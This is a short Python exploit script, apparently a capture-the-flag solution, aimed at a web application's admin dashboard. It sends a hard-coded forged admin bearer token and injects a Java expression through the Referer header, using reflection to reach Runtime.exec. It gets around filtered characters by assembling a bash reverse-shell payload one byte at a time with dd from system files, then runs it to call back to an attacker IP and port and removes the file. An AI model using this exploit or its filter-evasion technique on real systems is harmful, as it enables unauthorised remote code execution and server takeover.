script.py

import requests
import string

URL = 'http://localhost:8080'
IP, PORT = 'xxx.xxx.xxx.xxx', 9000
payload_file = '/tmp/payload_nikost_132581'
payload = f'bash -c "exec bash -i &>/dev/tcp/{IP}/{PORT} <&1"'

# Command execution using reflection in org.h2.util.Utils
def run_cmd(cmd):
    headers = {
            'Authorization': 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJpc0FkbWluIjp0cnVlLCJzdWIiOiJhZG1pbiIsImlhdCI6MTc2OTM0ODA2NCwiZXhwIjoxNzY5NDM0NDY0fQ.cP8dPCbz-rRFv5uOpJw2cNg-AGeAyyrK8E5S-xW0r94',
            'Referer': '\'+${"".class.forName("org.h2.util.Utils").callMethod("".class.forName("org.h2.util.Utils").callStaticMethod("java.lang.Runtime.getRuntime"), "exec", "' + cmd + '")}+\''
    }
    requests.get(f'{URL}/api/admin/dashboard', headers=headers)

# Where to find special chars in files
chars = {
        '-': ('/etc/X11/app-defaults/XFontSel', 73),
        '"': ('/etc/X11/app-defaults/XFontSel', 299),
        ' ': ('/etc/X11/app-defaults/XFontSel', 4427),
        '&': ('/etc/profile', 365),
        '<': ('/etc/fonts/fonts.conf', 0),
        '.': ('/etc/fonts/fonts.conf', 16),
        '>': ('/etc/fonts/fonts.conf', 20),
        '/': ('/etc/fonts/fonts.conf', 83),
}
for c in string.digits:
    chars[c] = ('/etc/X11/app-defaults/XFontSel', 4458 + ord(c) - ord('0'))
for c in string.ascii_lowercase:
    chars[c] = ('/etc/X11/app-defaults/XFontSel', 4472 + ord(c) - ord('a'))

# Build payload file
run_cmd(f'rm {payload_file}')
for c in payload:
    if_, skip = chars[c]
    run_cmd(f'dd oflag=append conv=notrunc bs=1 count=1 if={if_} of={payload_file} skip={skip}')
# Run it
run_cmd(f'bash {payload_file}')
run_cmd(f'rm {payload_file}')